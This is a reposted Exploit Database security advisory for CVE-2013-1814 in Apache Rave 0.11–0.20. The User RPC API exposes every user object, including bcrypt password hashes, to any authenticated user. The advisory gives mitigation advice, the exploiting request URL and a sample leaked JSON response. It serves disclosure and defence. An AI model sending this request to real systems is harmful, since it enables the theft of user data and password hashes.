Apache Rave 0.11 < 0.20 - User Information Disclosure

• Exploit Database
• 15 阅读

• 作者： Andreas Guth
  日期： 2013-03-13
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/24744/

• CVE-2013-1814: Apache Rave exposes User over API
  
  Severity: Important
  
  Vendor: The Apache Software Foundation
  
  Versions Affected:
  Rave 0.11 to 0.20
  
  Description:
  Rave returns the full user object, including the salted and hashed
  password, via the User RPC API.This endpoint is only available to
  authenticated users, but will return all User objects in the database
  given the correct query.
  
  Mitigation:
  All users who rely on Rave's user management capabilities should
  upgrade to 0.20.1 or later.
  If an upgrade is infeasible, restrict access to the /app/api/user URL
  paths via Spring Security configuration or other means.
  
  Example:
  A request to:
  
  /app/api/rpc/users/get?offset=OFFSET
  
  will return the following:
  
  {"error":false,"errorMessage":null,"errorCode":"NO_ERROR","result":{"result=
  Set":[{"entityId":1,"username":"canonical","email":"canonical@example.com",=
  "displayName":"Canonical
  User","additionalName":"canonical","familyName":"User","givenName":"Canonic=
  al","honorificPrefix":null,"honorificSuffix":null,"preferredName":null,"abo=
  utMe":null,"status":"Single","addresses":[],"organizations":[],"properties"=
  :[{"entityId":1,"type":"thumbnailUrl","value":"http://opensocial2.org:8080/=
  collabapp/images/avatars/BillRanney.jpg","qualifier":null,"extendedValue":n=
  ull,"primary":null,"id":"1"}],"password":"$2a$10$TkEgze5kLy9nRlfd8PT1zunh6P=
  1ND8WPjLojFjAMNgZMu1D9D1n4.","expired":false,"locked":false,"enabled":true,=
  "openId":null,"forgotPasswordHash":null,"forgotPasswordTime":null,"defaultP=
  ageLayout":{"entityId":4,"code":"columns_3","numberOfRegions":3,"renderSequ=
  ence":3,"userSelectable":true},"confirmPassword":null,"defaultPageLayoutCod=
  e":null,"authorities":[{"entityId":2,"authority":"ROLE_ADMIN","users":[],"d=
  efaultForNewUser":false}],"id":"1","accountNonLocked":true,"credentialsNonE=
  xpired":true,"accountNonExpired":true},
  ........ ],"pageSize":10,"offset":0,"totalResults":14,"numberOfPages":2,"cu=
  rrentPage":1}}
  
  Credit:
  This issue was discovered by Andreas Guth of RWTH Aachen University.
  
  References:
  http://tomcat.apache.org/security.html